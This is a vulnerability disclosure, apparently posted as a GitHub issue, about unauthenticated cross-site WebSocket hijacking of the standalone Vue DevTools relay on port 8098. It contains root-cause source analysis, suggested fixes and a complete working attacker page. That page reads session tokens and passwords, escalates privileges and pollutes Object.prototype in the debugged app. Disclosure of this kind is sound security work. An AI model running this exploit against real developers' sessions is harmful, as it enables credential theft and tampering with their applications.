[Security] Unauthenticated cross-site WebSocket hijacking of the standalone Vue DevTools relay — credential theft, in-app privilege escalation, and prototype pollution
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 35/100
- Tipo di issue
- Bug
- Chiarezza
- Abbastanza chiara
- Stato di attività
- Attiva
- Stack tecnologico
- electron, typescript
Direzione di ricerca
Start by reviewing packages/electron/src/server.ts and packages/devtools-kit/src/messaging/presets/electron/proxy.ts to understand relay connection and role handling, then inspect packages/core/src/rpc/global.ts and packages/devtools-kit/src/core/component/state/editor.ts for the exposed RPC and write paths. Define an authentication and connection-boundary design, then verify that unauthenticated cross-origin clients cannot access the debugging API or mutate application state.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
The Vue DevTools standalone Electron app (npx @vue/devtools) runs a Socket.IO relay in its main process that connects two parties: the DevTools panel (the Electron window) and the application being debugged (any web page that loads the script served by the relay). The relay performs no authentication of any kind, and the role of a connection is determined purely by which Socket.IO events it emits.
A malicious web page visited by the developer — any origin, no user interaction beyond the page load — can open a WebSocket to this relay and simply act as the DevTools panel: emit the same events the panel emits, and the relay will faithfully forward the attacker's RPC calls into the victim application and route the responses back. This is cross-site WebSocket hijacking against a debugging protocol that holds full read/write authority over the debugged application's memory.
Through this single primitive the attacker obtains, all verified end-to-end (see "Observed results"):
- Enumeration of the victim application's component tree.
- Full in-memory state disclosure of any component — session tokens, passwords typed into forms, API responses held in reactive state (in the verified run: an auth token and a password were harvested).
- Arbitrary state writes inside the victim application — verified by flipping an
isAdminauthorization flag, causing the victim page to render its gated admin panel (in-app privilege escalation). - Prototype pollution of the victim application's
Object.prototypevia a__proto__path segment (verified:({}).pwned === "attacker-was-here"in the victim page). - Source disclosure — the compiled render code of any component.
Attack surface
The Electron main process starts exactly one network server: an h3 + Socket.IO server on port 8098 (configurable via the PORT environment variable) that:
- binds
0.0.0.0— it printslistening on 0.0.0.0:8098at startup, so it is reachable both fromlocalhost(any website in the victim's browser) and from the entire LAN (any other machine, with no browser involved at all); - serves the "user app" attach script at
GET /— this is the documented way applications opt into debugging (<script src="http://localhost:8098/"></script>), which means the victim page itself is expected to be a different origin from the relay, and the relay is expected to accept connections from it; - configures Socket.IO with
cors: { origin: true }— permissive CORS with origin reflection.
Why CORS does not prevent this
The exploit was executed end-to-end from a file:// origin in a real browser, and every stage worked. Two independent reasons:
-
WebSocket transport: CORS does not apply to WebSocket connections. Any web page can open
ws://localhost:8098/socket.io/…and exchange frames in both directions — request and response — regardless of origin. All read stages below therefore work cross-origin with full response readability. -
HTTP polling transport (the Socket.IO fallback): the server reflects any
Origin. Verified live against the running app:$ curl -i -H "Origin: https://attacker.example" "http://localhost:8098/socket.io/?EIO=4&transport=polling&t=attacker" HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.example …
Per-stage requirements:
- Stages 1, 2, 5 (reads) need the response — and get it, per the above.
- Stages 3, 4 (writes) take effect the moment the request is sent — reading the response is only optional evidence; the write already happened in the victim's process. A page that is closed immediately after sending still modifies the victim application.
Root cause (source analysis, tag v8.2.1)
1. The relay accepts every connection and never checks identity
packages/electron/src/server.ts — the entire server:
const port = process.env.PORT || 8098
export function init() {
const app = createApp()
app.use('/', eventHandler(() => {
const userAppContent = fs.readFileSync(path.join(__dirname, './user-app.iife.js'), 'utf-8')
const processSyntaxPolyfill = `if(!window.process){window.process={env:{}}};`
return processSyntaxPolyfill + userAppContent
}))
const httpServer = createServer(toNodeListener(app))
const io = new Server(httpServer, {
cors: { origin: true, }, // ← reflects ANY Origin (and WS ignores CORS anyway)
})
io.on('connection', (socket) => { // ← every connection accepted: no auth, no token, no origin check
setElectronProxyContext(socket)
createRpcProxy({ preset: 'electron' })
// Disconnect any previously connected apps
socket.broadcast.emit('vue-devtools:disconnect-user-app')
socket.on('vue-devtools:init', () => { socket.broadcast.emit('vue-devtools:init') })
socket.on('vue-devtools:disconnect', () => { socket.broadcast.emit('vue-devtools:disconnect') })
socket.on('disconnect', (reason) => { if (reason.indexOf('client')) socket.broadcast.emit('vue-devtools-disconnect-devtools') })
})
httpServer.listen(port, () => { console.log(`listening on 0.0.0.0:${port}`) }) // ← all interfaces
}
Three independent defects compound here: (a) no authentication on connection; (b) cors: { origin: true }; (c) an all-interfaces bind. Any TCP client — and therefore any website via WebSocket — becomes a first-class participant of the debugging session.
2. Roles are decided by events, and the relay forwards everything
The relay forwards traffic between the two roles with Socket.IO broadcast. packages/devtools-kit/src/messaging/presets/electron/proxy.ts (complete file):
export function createElectronProxyChannel(): MergeableChannelOptions {
const socket = getElectronProxyContext()
return {
post: (data) => {},
on: (handler) => {
socket.on(SERVER_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_CLIENT, data) })
socket.on(CLIENT_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_SERVER, data) })
},
}
}
(SERVER_TO_PROXY = server->proxy, i.e. app→relay; CLIENT_TO_PROXY = client->proxy, i.e. panel→relay.)
The relay has no concept of which socket is the real panel. Any socket that emits client->proxy is treated as the panel for routing purposes. The real panel is never authenticated, so an attacker's socket is indistinguishable from it.
3. The wire protocol is trivially forgeable
The RPC layer is birpc 2.6.1 over those two Socket.IO events, with a SuperJSON envelope. A panel→app request frame is simply:
{"json":{"m":"<rpc function name>","a":[<args>],"t":"q","i":"<request id>"}}
(real SuperJSON omits "meta" when empty, and the victim-side parser accepts that form). Responses return as {"t":"s","i":"<id>","r":<result>} on proxy->client. The attacker needs no library code — a two-line JSON.stringify({json:{…}}) stub produces frames the victim's RPC server accepts and executes. Results come back as a flatted/circular-chunk-encoded string (stringifyCircularAutoChunks — a JSON array prefixed with a leading space); the ~20-line decoder is inlined in the PoC below.
4. The forwarded RPC surface is the debugging API — unauthenticated
packages/core/src/rpc/global.ts exports the functions the app-side RPC server registers on connect. Once the attacker emits panel-style frames, all of these execute inside the victim application (excerpt; the file registers more, e.g. inspectDOM, scrollToComponent, toggleApp, getRouterInfo, plugin settings mutation):
export const functions = {
// …
async getInspectorTree(payload) {
const res = await devtools.ctx.api.getInspectorTree(payload)
return stringify(res) as string
},
async getInspectorState(payload) {
const inspector = getInspector(payload.inspectorId)
if (inspector)
inspector.selectedNodeId = payload.nodeId
const res = await devtools.ctx.api.getInspectorState(payload)
return stringify(res) as string
},
async editInspectorState(payload) {
return await devtools.ctx.api.editInspectorState(payload)
},
getComponentRenderCode(id: string) {
return devtools.ctx.api.getComponentRenderCode(id)
},
callInspectorNodeAction(inspectorId: string, actionIndex: number, nodeId: string) { … item.action?.(nodeId) },
callInspectorAction(inspectorId: string, actionIndex: number) { … item.action?.() },
openInEditor(options: OpenInEditorOptions) {
return devtools.ctx.api.openInEditor(options)
},
// …
}
This is the complete authority of the DevTools panel — reading every component's state, editing it, invoking inspector actions — handed to whoever connects, with getInspectorState even marking the inspected node as selected, exactly as if the developer had clicked it.
5. The write path enables arbitrary state mutation and prototype pollution
editInspectorState lands in packages/devtools-kit/src/core/component/state/editor.ts. First the target object is resolved from the first path segment the caller supplies (editComponentState):
export async function editComponentState(payload: InspectorStateEditorPayload, stateEditor: StateEditor) {
const { path, nodeId, state, type } = payload
const instance = getComponentInstance(activeAppRecord.value, nodeId)
if (!instance)
return
const targetPath = path.slice()
let target: Record<string, unknown> | undefined
// 1. check if is props
if (Object.keys(instance.props).includes(path[0])) {
target = instance.props
}
// 2. check if is setup
else if (instance.devtoolsRawSetupState && Object.keys(instance.devtoolsRawSetupState).includes(path[0])) {
target = instance.devtoolsRawSetupState
}
// 3. check if is options
else if (instance.data && Object.keys(instance.data).includes(path[0])) {
target = instance.data
}
else {
// 4. fallback
target = instance.proxy
}
if (target && targetPath) {
// @ts-expect-error skip type check
stateEditor.set(target, targetPath, state.value, stateEditor.createDefaultSetCallback(state))
}
}
Then StateEditor.set walks the remaining path segments with a plain property access — no filtering of dangerous keys:
set(object: Recordable, path: PropPath, value: unknown, cb?: …) {
const sections = Array.isArray(path) ? path : path.split('.')
const markRef = false
while (sections.length > 1) {
const section = sections.shift()!
if (object instanceof Map)
object = object.get(section) as Recordable
else if (object instanceof Set)
object = Array.from(object.values())[section] as Recordable
else object = object[section] as Recordable // ← '__proto__' walks straight onto Object.prototype
if (this.refEditor.isRef(object))
object = this.refEditor.get(object)
}
const field = sections[0]
const item = this.refEditor.get(object)[field]
if (cb) {
cb(object, field, value)
}
else {
// … plain assignment
}
}
and the callback performs the write:
createDefaultSetCallback(state: EditStatePayload) {
return (object: Recordable, field: string | number, value: unknown) => {
// … remove branch …
if (!state.remove) {
const target = object[state.newKey || field]
if (this.refEditor.isRef(target))
this.refEditor.set(target, value)
else if (toRaw(object) instanceof Map)
object.set(state.newKey || field, value)
else if (toRaw(object) instanceof Set)
object.add(value)
else
object[state.newKey || field] = value // ← executes in the victim application's realm
}
}
}
Consequences:
path: ['isAdmin']— with the component'ssetupstate as target — is an arbitrary in-app state write. Flipping an authorization flag is verified below; overwriting any other reactive field (form contents, routing guards, feature flags, displayed data) is equally possible.path: ['session', '__proto__', 'pwned']— the walkobject['session']thenobject['__proto__']reachesObject.prototype, and the callback's final assignment pollutes it. Verified:({}).pwned === "attacker-was-here"in the victim page. Since the victim is a live web application, this is classic client-side prototype pollution with all of its downstream gadget potential.
None of this is gated on anything — the victim app registers this RPC server the moment it loads the devtools script (packages/electron/src/user-app.core.ts):
socket.on('connect', () => {
setElectronServerContext(socket)
createRpcServer(functions, { preset: 'electron' })
socket.emit('vue-devtools:init')
})
Proof of Concept
How to reproduce
-
Start the vulnerable app (Node ≥ 18):
npx @vue/[email protected]The Electron window opens and its main process starts the relay. It prints:
listening on 0.0.0.0:8098 -
Serve the victim demo page. Save the HTML below as
index.htmlin an empty directory and runpython -m http.server 5500there. This page mimics an internal admin dashboard: it holds an auth token and a password in reactive state, gates an admin panel behindisAdmin, and probesObject.prototypefor pollution. It attaches to the devtools relay exactly the way the tool documents (<script src="http://localhost:8098/">before Vue) — note it uses the dev build of Vue, as prod builds do not emit the devtools hook. -
Open the attacker page. Save the HTML below anywhere (a local file is fine — the verified run used a
file://origin) and open it in any browser. In the attacker page, click connect (this happens before the victim loads — connecting later would evict an already-attached app; that eviction behavior is a separate issue we are reporting). -
Load the victim app at
http://localhost:5500/in another tab of the same browser (the relay is cross-origin by design, so any origin works; the same machine is the realistic case, and LAN victims work identically). -
Run the five stages in the attacker page, in order. Expected results — all verified end-to-end — are under "Observed results". Stage 3 visibly unlocks the admin panel in the victim tab; stage 4 visibly flips the pollution probe in the victim tab.
Practical note: the whole attack needs the attacker page merely to run — it can be any website the developer visits while a debugging session is live (stages 3–4 don't even need to read responses), and against a LAN peer it needs no browser on the attacker side at all (the identical frames can be sent from Node).
Victim demo page
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Victim App - Internal Admin Dashboard</title>
<!-- Attach the debugged app to the standalone Vue DevTools (served by the Electron app on :8098).
Must load BEFORE Vue so the devtools hook catches the app init event. -->
<script src="http://localhost:8098/"></script>
<!-- DEV build is required: prod Vue strips devtools hook emission, so the app
would never register with the devtools server. -->
<script src="https://unpkg.com/[email protected]/dist/vue.global.js"></script>
<style>
body { font-family: sans-serif; background: #1e1e2e; color: #cdd6f4; margin: 40px; }
.card { background: #313244; padding: 16px 24px; border-radius: 8px; margin-bottom: 12px; max-width: 560px; }
input { margin: 4px 0; padding: 6px; width: 240px; }
.hidden { color: #f38ba8; }
</style>
</head>
<body>
<div id="app">
<h2>Internal Admin Dashboard (dev instance)</h2>
<div class="card">
<div>Login session</div>
<div>username: {{ user.username }}</div>
<div>auth token: {{ session.token }}</div>
</div>
<div class="card">
<div>Sign in form (v-model state)</div>
<input v-model="form.username" placeholder="username">
<input v-model="form.password" type="password" placeholder="password">
<div>form state → {{ form }}</div>
</div>
<div class="card">
<div>isAdmin: <b>{{ isAdmin }}</b></div>
<div v-if="isAdmin" class="hidden">SECRET ADMIN PANEL — payout keys, customer PII, etc.</div>
<div>prototype pollution probe (Object.prototype.pwned): <b>{{ protoProbe }}</b></div>
</div>
</div>
<script>
const { createApp, ref, reactive, computed, onMounted } = Vue
createApp({
setup() {
const session = reactive({ token: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.demo-token' })
const user = reactive({ username: 'copperkoi' })
const form = reactive({ username: '', password: '' })
const isAdmin = ref(false)
const protoProbe = ref('(not polluted)')
setInterval(() => {
protoProbe.value = ({}).pwned === undefined ? '(not polluted)' : JSON.stringify(({}).pwned)
}, 500)
onMounted(() => { form.password = 'S3cr3t-P4ss!' })
return { session, user, form, isAdmin, protoProbe }
},
}).mount('#app')
</script>
</body>
</html>
Attacker page (self-contained PoC)
One HTML file, no build step, loads only socket.io-client from a CDN. Each stage prints whether it needs the response (and why it can read it cross-origin):
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Unauthenticated RPC hijack — Vue DevTools standalone relay (:8098)</title>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<style>
body { font-family: Consolas, monospace; background: #111; color: #cde; margin: 24px; }
button { margin: 2px 4px 2px 0; padding: 6px 10px; }
pre { background: #000; color: #9f9; padding: 10px; white-space: pre-wrap; word-break: break-all; }
input { width: 220px; }
.note { color: #fd6; max-width: 900px; }
</style>
</head>
<body>
<h3>Unauthenticated RPC hijack — vue-devtools standalone (Socket.IO relay :8098)</h3>
<p class="note">
CORS: this page runs from ANY origin (verified from file://). The WebSocket transport is not
subject to CORS at all — responses are fully readable cross-origin. The polling fallback is
also readable because the server reflects any Origin (cors: {origin:true}). Stages 1, 2 and 5
READ responses (readable per above). Stages 3 and 4 (writes) take effect on send alone —
reading the response is only extra evidence.
</p>
<p>
relay: <input id="target" value="http://localhost:8098">
<button onclick="connect()">connect — impersonate the devtools panel (no auth)</button>
<span id="status">not connected</span>
</p>
<p>
<button onclick="run(pocTree)">1 · enumerate component tree</button>
<button onclick="run(pocState)">2 · dump state + harvest secrets</button>
<button onclick="run(pocAdmin)">3 · flip isAdmin (privilege escalation)</button>
<button onclick="run(pocProto)">4 · pollute Object.prototype</button>
<button onclick="run(pocCode)">5 · steal component render code</button>
</p>
<pre id="out"></pre>
<script>
/* ------------------------------------------------------------------ *
* birpc-over-Socket.IO framing (birpc 2.6.1 + superjson envelope). *
* A request frame is SuperJSON.stringify({m,a,t:"q",i}); superjson *
* omits "meta" when empty and the victim-side parser accepts that, *
* so a two-line stub forges genuine panel frames. *
* ------------------------------------------------------------------ */
const $ = id => document.getElementById(id)
const sleep = ms => new Promise(r => setTimeout(r, ms))
const stamp = () => new Date().toTimeString().slice(0, 8)
const log = s => { $('out').textContent += `[${stamp()}] ${s}\n` }
const SJstringify = obj => JSON.stringify({ json: obj })
const SJparse = s => { try { const p = JSON.parse(s); return (p && typeof p === 'object' && 'json' in p) ? p.json : p } catch { return s } }
/* RPC results are stringifyCircularAutoChunks() payloads (flatted *
* encoding, leading space, possibly chunked). Not exported from *
* @vue/devtools-kit, so the decoder is inlined verbatim from dist. */
function flattedDecode(list) {
let i = list.length, j, k, data, key, value, proto
while (i--) {
data = list[i]
proto = Object.prototype.toString.call(data)
if (proto === '[object Object]') {
const keys = Object.keys(data)
for (j = 0, k = keys.length; j < k; j++) { key = keys[j]; value = list[data[key]]; data[key] = value }
} else if (proto === '[object Array]') {
for (j = 0, k = data.length; j < k; j++) { value = list[data[j]]; data[j] = value }
}
}
}
function parseCircularAutoChunks(data) {
if (Array.isArray(data)) data = data.join('')
if (!/^\s/.test(data)) return JSON.parse(data)
const list = JSON.parse(data)
flattedDecode(list)
return list[0]
}
/* ---- connection + request/response plumbing (no authentication exists) ---- */
let socket = null, reqSeq = 0, connected = false
const pending = new Map()
function rpc(method, args, timeoutMs = 8000) {
return new Promise((resolve, reject) => {
if (!connected) return reject(new Error('not connected'))
const id = 'atk-' + (++reqSeq)
const timer = setTimeout(() => {
if (pending.delete(id)) reject(new Error(`timeout: no response to "${method}" in ${timeoutMs}ms — is a debugged app attached?`))
}, timeoutMs)
pending.set(id, { resolve, reject, timer })
socket.emit('client->proxy', SJstringify({ m: method, a: args, t: 'q', i: id }))
})
}
function connect() {
socket = io($('target').value.trim(), { transports: ['websocket'] }) /* polling works too (origin reflection) */
socket.on('connect', () => { connected = true; $('status').textContent = 'connected as devtools panel (unauthenticated)' })
socket.on('disconnect', () => { connected = false; $('status').textContent = 'not connected' })
socket.on('connect_error', e => log('[!] connect error: ' + e.message))
socket.on('vue-devtools:init', () => log('a debugged app just attached — the stages can run now'))
socket.on('proxy->client', (data) => { // relayed responses (app → panel)
const msg = SJparse(data)
if (msg && typeof msg === 'object' && msg.t === 's' && pending.has(msg.i)) {
const p = pending.get(msg.i); pending.delete(msg.i); clearTimeout(p.timer)
if (msg.e) p.reject(new Error(msg.e.message || JSON.stringify(msg.e)))
else p.resolve(msg.r)
}
})
}
/* ---- exploitation stages ---- */
let flatTree = null
async function getFlatTree() {
if (flatTree) return flatTree
const tree = parseCircularAutoChunks(String(await rpc('getInspectorTree', [{ inspectorId: 'components', filter: '' }])))
flatTree = []
;(function walk(nodes) { for (const n of (Array.isArray(nodes) ? nodes : [])) { flatTree.push(n); if (n.children) walk(n.children) } })(tree)
return flatTree
}
async function findTarget() {
const flat = await getFlatTree()
return flat.find(n => n.name && n.name.toLowerCase().includes('app')) || flat.find(n => n.id === 'root') || flat[0]
}
async function readState(nodeId) {
const st = parseCircularAutoChunks(String(await rpc('getInspectorState', [{ inspectorId: 'components', nodeId }])))
const dump = {}
for (const f of (st.state || [])) dump[f.key ?? f.name] = f.value
return dump
}
async function pocTree() { // READ — readable cross-origin (WS)
const flat = await getFlatTree()
log(`getInspectorTree → ${flat.length} component(s):\n` + flat.map(n => ` id=${n.id} name=${n.name}`).join('\n'))
}
async function pocState() { // READ — readable cross-origin (WS)
const t = await findTarget()
const dump = await readState(t.id)
const rx = /(pass|pwd|token|secret|credential|auth|session|api[_-]?key|private|jwt)/i
const hits = []
;(function walk(o, path) {
if (o && typeof o === 'object') { for (const k of Object.keys(o)) walk(o[k], path ? `${path}.${k}` : k) }
else if (rx.test(path)) hits.push(`${path} = ${JSON.stringify(o)}`)
})(dump, '')
log(`getInspectorState(nodeId=${t.id}) — full in-memory state of "${t.name}":\n` + JSON.stringify(dump, null, 2))
log(hits.length ? `SECRETS HARVESTED FROM VICTIM MEMORY:\n ${hits.join('\n ')}` : 'no secret-looking keys in this component (try other ids from stage 1)')
}
async function pocAdmin() { // WRITE — takes effect on SEND (read is optional evidence)
const t = await findTarget()
const before = await readState(t.id)
await rpc('editInspectorState', [{ inspectorId: 'components', nodeId: t.id, path: ['isAdmin'], type: 'state', state: { value: true, remove: false } }])
await sleep(800) /* the write already happened on send; this read is only extra evidence */
const after = await readState(t.id)
log(`editInspectorState(path=["isAdmin"], value=true) on nodeId=${t.id}\n`
+ ` isAdmin BEFORE: ${JSON.stringify(before.isAdmin)}\n`
+ ` isAdmin AFTER: ${JSON.stringify(after.isAdmin)}\n`
+ (after.isAdmin === true ? ' → the victim app now renders its gated admin UI.' : ' → unchanged (pick a component that holds this state)'))
}
async function pocProto() { // WRITE — takes effect on SEND (read is optional evidence)
const t = await findTarget()
const before = await readState(t.id)
await rpc('editInspectorState', [{ inspectorId: 'components', nodeId: t.id, path: ['session', '__proto__', 'pwned'], type: 'state', state: { value: 'attacker-was-here', remove: false } }])
await sleep(1500) /* the victim's own probe (a ref refreshed every 500ms) reflects Object.prototype */
const after = await readState(t.id)
log(`editInspectorState(path=["session","__proto__","pwned"], value="attacker-was-here") on nodeId=${t.id}\n`
+ ` victim Object.prototype.pwned BEFORE: ${JSON.stringify(before.protoProbe ?? '(field absent)')}\n`
+ ` victim Object.prototype.pwned AFTER: ${JSON.stringify(after.protoProbe ?? '(field absent)')}`)
}
async function pocCode() { // READ — readable cross-origin (WS)
const t = await findTarget()
const code = await rpc('getComponentRenderCode', [t.id])
log(`getComponentRenderCode(id=${t.id}) → ${String(code).length} chars of compiled render source:\n${String(code).slice(0, 1200)}`)
}
const run = fn => fn().catch(e => log('[!] ' + e.message))
</script>
</body>
</html>
Observed results (end-to-end verified)
The sequence above was executed for real: standalone app 8.2.1 running, attacker page opened from a file:// origin in a browser, victim app on http://localhost:5500/ in another tab. Every stage succeeded:
-
Stage 2 — credentials harvested from victim memory (exact output):
SECRETS HARVESTED FROM VICTIM MEMORY: session.token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.demo-token" form.password = "S3cr3t-P4ss!" -
Stage 3 — authorization flag flipped, confirmed in the victim page itself (evaluated in the victim tab after the attack):
{"admin": true, "polluted": "\"attacker-was-here\""}admin: truemeans the victim page — which previously hid it — now renders itsSECRET ADMIN PANELblock. The same write primitive overwrites any other reactive state (form contents, routing/feature flags, displayed data). -
Stage 4 — prototype pollution confirmed in the victim page: the victim's own probe (a 500 ms interval checking
({}).pwned) switched from(not polluted)to"attacker-was-here"— visible in the victim tab, and captured in the JSON above. -
Stages 1 and 5 returned the component tree and the component's compiled render source to the attacker page (run from the
file://origin — cross-origin response reading working as described above).
The full chain (stages 1–5) completed in ~3.4 seconds against the demo app.
Scope notes (what this surface does not expose)
For completeness, the following were checked and are not reachable through this relay: clipboard access; OS-level cookies or browser profiles (only the debugged page's in-memory state is exposed); RCE / command injection / path traversal. openInEditor, the only RPC that looks editor-adjacent, merely makes the victim page's own origin fetch __open-in-editor?file=… (the dev-server endpoint) — it is not a command-execution vector here. The standalone app's only network surface is this relay.
Suggested fix
- Bind the relay to
127.0.0.1by default. This is a local debugging tool; the current all-interfaces bind additionally exposes it to the entire LAN. Keep an opt-in for remote debugging, but make local the default. - Authenticate every connection. Generate a random per-launch token when the Electron app starts, inject it into the script served at
GET /(so legitimate user apps carry it automatically), and require it as a Socket.IO handshakeauthfield from all sockets — panel and user apps alike — before any relay, registration, or event subscription happens. Without this, anything else below is defense in depth only. - Stop routing by broadcast; route to the specific authenticated peer (Socket.IO rooms or direct
socket.emit). A foreign socket must never be able to act as, or receive the traffic of, the real panel or another session's app. - Treat the RPC surface as privileged.
getInspectorState/editInspectorState/getComponentRenderCodeexpose the debugged application's full memory and mutation authority; they should be gated behind the same authentication, and state mutations arguably disabled entirely for remote/non-local sessions. - Filter dangerous path segments in the state editor.
StateEditor.set/editComponentStateshould reject__proto__,prototype, andconstructorsegments. This is worth fixing in@vue/devtools-kitregardless, since the package is embedded in other products. - Restrict the CORS configuration (allow only the panel's own origin / localhost). Note this alone does not fix the WebSocket vector — it only hardens the polling fallback; items 1–3 are the actual fixes.
Request for a CVE ID
This vulnerability affects every published version of the standalone @vue/devtools-electron line (7.0.0 – 8.2.1), and since the standalone app was removed in v9 there is no fixed version to point users to. We would therefore like to kindly ask the maintainers to help request a CVE ID for this issue.
The smoothest path is a GitHub Security Advisory: Security → Advisories → New draft security advisory, fill in the affected packages/versions and severity, then use "Request CVE ID" in the advisory sidebar (GitHub is a CVE Numbering Authority, so the ID can be issued directly from there). We are happy to help with the advisory write-up — the text above can serve as a starting point — and to coordinate the disclosure timeline. If you prefer to handle this report privately first, we will gladly continue in the private advisory thread instead of this public issue.
- Lingua principale
- TypeScript
- Stelle
- 2.9k
- Fork
- 289
- Merge medio
- 2g 3h
- PR unite (30g)
- 19
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di vuejs/devtools
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 69/100
I maintainer di solito rispondono entro 1 giorno
-
Upgrade Electron to fix ZIP extraction on Node.js 26Forse già presa @ondrhn l’ha presa 41 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno
-
On the landing site, the "Developer experience" card is redundantForse di nuovo libera Una pull request per questa issue è stata chiusa senza essere unita. Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 72/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
vuejs/devtools#975 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 18/100
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di vuejs/devtools
Issue simili
-
[good first issue, hacktoberfest] 🏯 Hacktoberfest Task - Add new Japan Fact 898 (good-first-issue)Apertacommunity first-timers-only good first issue hacktoberfest help wanted low hanging fruit up-for-grabs
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 86/100
lingdojo/kana-dojo#33145 · 1 commento · 5 reazioni ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
code-yeongyu/senpi#4278 ·
I maintainer di solito rispondono entro 1 giorno
-
[Bug] Activity | The activity list ignores taskIds and returns the activities of every taskForse già presa @NdekoCode l’ha presa oggi. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
ever-co/ever-gauzy#11469 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
griffinwork40/agent-afk#4408 ·
I maintainer di solito rispondono entro 1 giorno